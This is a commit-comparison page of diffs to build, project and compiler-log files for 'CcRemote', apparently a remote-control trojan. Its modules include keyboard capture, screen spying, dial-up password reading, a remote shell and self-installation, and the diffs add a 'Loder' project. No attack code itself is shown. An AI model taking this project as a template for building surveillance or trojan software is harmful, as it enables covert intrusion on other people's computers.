Compare commits
52 Commits
20200630.1
...
20200801.1
Author | SHA1 | Date | |
---|---|---|---|
![]() |
4ae635cd38 | ||
![]() |
4b8f225b7f | ||
![]() |
8fd8041325 | ||
![]() |
1d4b33550f | ||
![]() |
3a9a5fa585 | ||
![]() |
5229350941 | ||
![]() |
1168cd57ec | ||
![]() |
ca30e3eee0 | ||
![]() |
0817ad4f64 | ||
![]() |
642abc37ee | ||
![]() |
1aaf0ba72d | ||
![]() |
8526ac5e15 | ||
![]() |
d099304a85 | ||
![]() |
c25286c021 | ||
![]() |
79648c130c | ||
![]() |
e47417a184 | ||
![]() |
c9028528b2 | ||
![]() |
d3c213a17b | ||
![]() |
e6236c6fe3 | ||
![]() |
879c6d91b4 | ||
![]() |
38839bcf00 | ||
![]() |
bf9af90d11 | ||
![]() |
d3caf4b3c7 | ||
![]() |
9b9ada6d6f | ||
![]() |
ce2bbd9dfb | ||
![]() |
3c765bb391 | ||
![]() |
1b29464c86 | ||
![]() |
d8c29f12ee | ||
![]() |
20ba634442 | ||
![]() |
fb37fb3351 | ||
![]() |
e4b81f2cc8 | ||
![]() |
10d47a4668 | ||
![]() |
b4cbd079ab | ||
![]() |
1e498a27fe | ||
![]() |
dcd6dce57a | ||
![]() |
f0286bc4b7 | ||
![]() |
1779436bd8 | ||
![]() |
7d0eba133c | ||
![]() |
b83633ab37 | ||
![]() |
55fd407621 | ||
![]() |
031d90d7e5 | ||
![]() |
6bec3f39e3 | ||
![]() |
e4df075f41 | ||
![]() |
c5441acbeb | ||
![]() |
4806c0a35f | ||
![]() |
df2f95e29e | ||
![]() |
b41d36ad3d | ||
![]() |
0df44971ee | ||
![]() |
ac601b4a57 | ||
![]() |
78d2e5d193 | ||
![]() |
e6bf19d7d0 | ||
![]() |
57ddc97543 |
@@ -7,6 +7,8 @@ Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "CcMainDll", "CcMainDll\CcMa
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestLoadDll", "TestLoadDll\TestLoadDll.vcxproj", "{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}"
|
||||
EndProject
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Loder", "Loder\Loder.vcxproj", "{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
@@ -31,6 +33,14 @@ Global
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x64.Build.0 = Release|x64
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{7FD3FB3F-5E07-4F67-9A94-9A8507044D8B}.Release|x86.Build.0 = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x64.Build.0 = Debug|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Debug|x86.Build.0 = Debug|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.ActiveCfg = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x64.Build.0 = Release|x64
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.ActiveCfg = Release|Win32
|
||||
{B3E9754C-1ED9-4A3B-95BE-B3920B5B827B}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
|
@@ -259,9 +259,11 @@
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegeditOpt.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\RegManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
</ClCompile>
|
||||
<ClCompile Include="common\ScreenManager.cpp">
|
||||
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">..\pch.h</PrecompiledHeaderFile>
|
||||
|
@@ -5,7 +5,8 @@
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LocalDebuggerCommand>..\\..\bin\server\TestLoadDll.exe</LocalDebuggerCommand>
|
||||
<LocalDebuggerCommand>C:\Windows\SysWOW64\rundll32.exe </LocalDebuggerCommand>
|
||||
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||
<LocalDebuggerCommandArguments>F:\myapp\CcRemote\bin\server\CcMainDll.dll,MainRun</LocalDebuggerCommandArguments>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@@ -413,6 +413,8 @@ void CClientSocket::Disconnect()
|
||||
InterlockedExchange((LPLONG)&m_bIsRunning, false);
|
||||
closesocket(m_Socket);
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>״̬Ϊ<CCAC>б<EFBFBD><D0B1>ǣ<EFBFBD><C7A3>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȴ<EFBFBD><C8B4>̡߳<DFB3>
|
||||
Sleep(500);
|
||||
|
||||
SetEvent(m_hEvent);
|
||||
//INVALID_SOCKET<45><54><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD><EFBFBD><D7BD><EFBFBD>
|
||||
m_Socket = INVALID_SOCKET;
|
||||
|
@@ -1 +1,40 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\vc141.idb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditopt.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ilk
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -15,8 +15,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'geth
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
until.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\until.cpp(69): warning C4996: 'strcmpi': The POSIX name for this item is deprecated. Instead, use the ISO C and C++ conformant name: _strcmpi. See online help for details.
|
||||
@@ -71,8 +71,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(154): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(156): warning C4309: “初始化”: 截断常量值
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(307): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@@ -127,19 +127,19 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\screenspy.cpp(419): warning C4018:
|
||||
ServerManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\servermanager.cpp(291): warning C4102: “defaute”: 未引用的标签
|
||||
ShellManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(52): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\shellmanager.cpp(59): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SystemManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\dialupass.h(62): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(137): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(228): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(140): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\systemmanager.cpp(231): warning C4101: “cbNeeded”: 未引用的局部变量
|
||||
VideoCap.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(27): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(35): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(124): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(36): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\videocap.cpp(125): warning C4101: “gCapTureParms”: 未引用的局部变量
|
||||
VideoManager.cpp
|
||||
正在生成代码...
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\regeditopt.cpp(113): warning C4700: 使用了未初始化的局部变量“NameSize”
|
||||
@@ -160,18 +160,28 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\filemanager.cpp(260): warning C4715
|
||||
cl : 命令行 warning D9002: 忽略未知选项“/Zc:stricStrings”
|
||||
dllmain.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(38): warning C4101: “pEnd”: 未引用的局部变量
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(103): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(160): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(162): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(204): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\login.h(231): warning C4996: 'GetVersionExA': 被声明为已否决
|
||||
d:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(41): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(177): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(262): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(263): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(293): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(303): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(328): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(366): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\dllmain.cpp(367): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明
|
||||
StrCry.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\strcry.cpp(10): warning C4267: “=”: 从“size_t”转换到“char”,可能丢失数据
|
||||
|
@@ -1,38 +1 @@
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.lib
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.exp
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.ipdb
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.iobj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.pch
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\pch.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audio.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\until.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\keyboardmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\buffer.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\clientsocket.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\videocap.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\systemmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\shellmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\servermanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenspy.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\screenmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\regeditex.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\manager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\kernelmanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\install.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dialupass.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\audiomanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\filemanager.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\strcry.obj
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\dllmain.obj
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\bin\server\ccmaindll.pdb
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\ccmaindll.write.1u.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\release\ccmaindll.tlog\link.write.1.tlog
|
||||
|
@@ -15,8 +15,8 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(77): warning C4996: 'geth
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(213): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(330): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(429): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(484): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(431): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\clientsocket.cpp(486): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
Buffer.cpp
|
||||
KeyboardManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\keyboardmanager.cpp(33): warning C4018: “<”: 有符号/无符号不匹配
|
||||
@@ -58,23 +58,23 @@ f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(215): warning C4996: 's
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\install.cpp(214): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明
|
||||
KernelManager.cpp
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(193): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(219): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(257): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(276): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(194): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(220): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(258): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(277): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(278): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(311): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(279): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\loop.h(312): warning C4309: “初始化”: 截断常量值
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(43): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4838: 从“int”转换到“char”需要收缩转换
|
||||
f:\myapp\ccremote\ccmaindll\ccmaindll\common\kernelmanager.cpp(150): warning C4309: “初始化”: 截断常量值
|
||||
